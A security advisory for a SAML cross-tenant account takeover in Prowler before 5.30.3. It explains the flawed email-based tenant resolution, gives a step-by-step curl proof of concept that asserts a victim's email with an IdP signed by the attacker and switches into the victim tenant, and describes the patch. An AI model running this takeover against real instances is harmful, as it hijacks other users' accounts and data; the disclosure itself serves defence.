CVE-2026-59151: Prowler SAML Cross-Tenant Account Takeover
Prowler's SAML login flow trusted the email address inside an attacker-signed SAMLResponse to decide which tenant to issue a token for, letting any authenticated user with their own SAML IdP hijack…

The problem
In Prowler versions before 5.30.3, the ACS finish handler in api/src/backend/api/v1/views.py resolved the target tenant by splitting the asserted user email: email_domain = user.email.split('@')[-1], then looked up the matching SAMLConfiguration. Because user.email comes from the SAML assertion, an attacker who controls a registered IdP can assert any email address they choose.
A second flaw in api/src/backend/api/adapters.py (lines 17-25) compounded this: ProwlerSocialAccountAdapter.pre_social_login() called get_user_by_email() with no tenant scope and then called sociallogin.connect(request, existing_user), linking the attacker's SAML session to the victim's account.
Two hardcoded settings sealed the impact: SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT = True and reject_idp_initiated_sso: False, meaning no victim interaction is required.
Proof of concept
A working proof-of-concept for CVE-2026-59151 in prowler-cloud, with the exact payload below.
# Step 1: Attacker registers their own SAML config (attacker.com is their real domain).
curl -s -X POST "$API/api/v1/saml-config" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H "Content-Type: application/vnd.api+json" \
--data '{
"data":{"type":"saml-configurations","attributes":{
"email_domain":"attacker.com",
"metadata_xml":"<md:EntityDescriptor entityID=\"evil-idp\" xmlns:md=\"urn:oasis:names:tc:SAML:2.0:metadata\">...attacker cert and SSO URL...</md:EntityDescriptor>"
}}
}'
# Step 2: Post a SAMLResponse signed with attacker's key to the attacker's ACS URL,
# but asserting NameID = victim@victim.com. The server trusts the assertion.
# SIGNED_ASSERTION is a base64 SAMLResponse signed with attacker's private key.
curl -i -L -c c.jar -b c.jar \
-X POST "$API/api/v1/accounts/saml/attacker.com/acs/" \
--data-urlencode "SAMLResponse=$SIGNED_ASSERTION"
# Vulnerable pre_social_login() reads sociallogin.user.email = "victim@victim.com",
# does a global DB lookup, and calls sociallogin.connect(request, victim_user).
# Step 3: Exchange the issued SAML token for a victim-scoped JWT.
curl -s -X POST "$API/api/v1/tokens/saml?id=$SAML_TOKEN_ID"
# Step 4: Switch into the victim tenant.
curl -s -X POST "$API/api/v1/tokens/switch" \
-H "Authorization: Bearer $VICTIM_JWT" \
-H "Content-Type: application/vnd.api+json" \
--data '{
"data":{
"type":"tokens-switch-tenant",
"attributes":{"tenant_id":"<victim-real-tenant-uuid>"}
}
}'The root cause is in adapters.py: email = sociallogin.user.email trusts the SAML NameID without any domain-ownership check, then self.get_user_by_email(email) does a global user lookup with no tenant scope, and sociallogin.connect(request, existing_user) links the attacker's session to whoever owns that email in the database.
The ACS finish view then recalculates the tenant from that same attacker-controlled email domain, so the issued SAMLToken and JWT are scoped to the victim's tenant instead of the attacker's. This is CWE-287 (Improper Authentication): the server performs cryptographic signature validation of the SAMLResponse correctly, but then trusts the *content* of the assertion (the NameID) for tenant routing and account linking without verifying that the asserting IdP is authorised to speak for that email domain.
The patch (commits bf3b5c2 and f5ff30ad) binds token issuance to saml_config.tenant, the object already resolved from the ACS route, and verifies that the ACS route slug, the SAMLConfiguration.email_domain, and the domain portion of the asserted email all agree before any account linking or token issuance proceeds.
The fix
Upgrade prowler-cloud to version 5.30.3 or later. The fix is in commits bf3b5c2ba713e533014927141b64948c82c8f32e and f5ff30ad175bd2edf02cd28872653c1cda5867b7. In patched code, views.py no longer derives the tenant from user.email; it uses saml_config.tenant from the already-validated SAML configuration, and verifies that the route slug, configured email domain, and asserted email domain all match before issuing any token.
If you run a self-hosted Prowler instance with SAML enabled, treat this as a P0 update.
Related research
- high · 8.1CVE-2026-87016CVE-2026-87016: Open WebUI OAuth Subject Wildcard Authentication Bypass
- high · 7.5CVE-2026-54635CVE-2026-54635: pytonapi Webhook Custom Path Authentication Bypass
- high · 8CVE-2026-59224CVE-2026-59224: open-webui Terminal Proxy Authentication Bypass via session_id Query Injection
- criticalCVE-2026-61740CVE-2026-61740: LightRAG Authentication Bypass via Hardcoded JWT Secret and Guest Token Short-Circuit